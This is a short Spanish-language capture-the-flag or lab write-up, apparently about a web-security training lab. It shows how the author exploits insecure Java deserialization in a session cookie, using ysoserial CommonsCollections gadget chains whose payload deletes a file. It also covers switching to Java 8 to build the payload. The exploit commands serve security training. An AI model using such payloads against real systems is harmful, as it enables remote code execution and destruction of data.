Skip to content

20260308025711.png

LAB

20260308030243.png

Haciendo uso de las credenciales proporcionadas y luego interceptar las solicitudes podemos observar que el valor de la cookie esta serializada:

20260308030302.png

Pero a diferencia de las anteriores, no se puede en texto plano. Por lo que usaremos ysoserial para poder crear un serializado y ejecutar comandos.

Al querer generar nuestro serializado observaremos que este da un error.

20260308030934.png

El error es porque en mi OS tengo instalado java en la version 17 y 22:

c
sudo update-alternatives --config java

20260308031959.png

Así mismo en mi OS tengo instalado sdk, por lo que en mi caso usaré la versión de sdk. Para lo que instalaremos la versión 8.0.412-tem

c
sdk install java 8.0.412-tem
sdk use java 8.0.412-tem

Luego ejecutaremos y generaremos nuestros serializado.

c
❯ java -jar ysoserial-all.jar CommonsCollections1 "rm /home/carlos/morale.txt" | base64 -w 0; echo

Al probar el serializado generado con el payload CommonsCollections1, este no logra ejecutar el comando.

20260308032026.png

Por lo que probando vemos que el payload CommonsCollections4 logra ejecutar comandos al agregar a la cookie de la sesión en el navegador:

c
❯ java -jar ysoserial-all.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64 -w 0; echo

20260308033206.png

20260308033241.png

20260308033259.png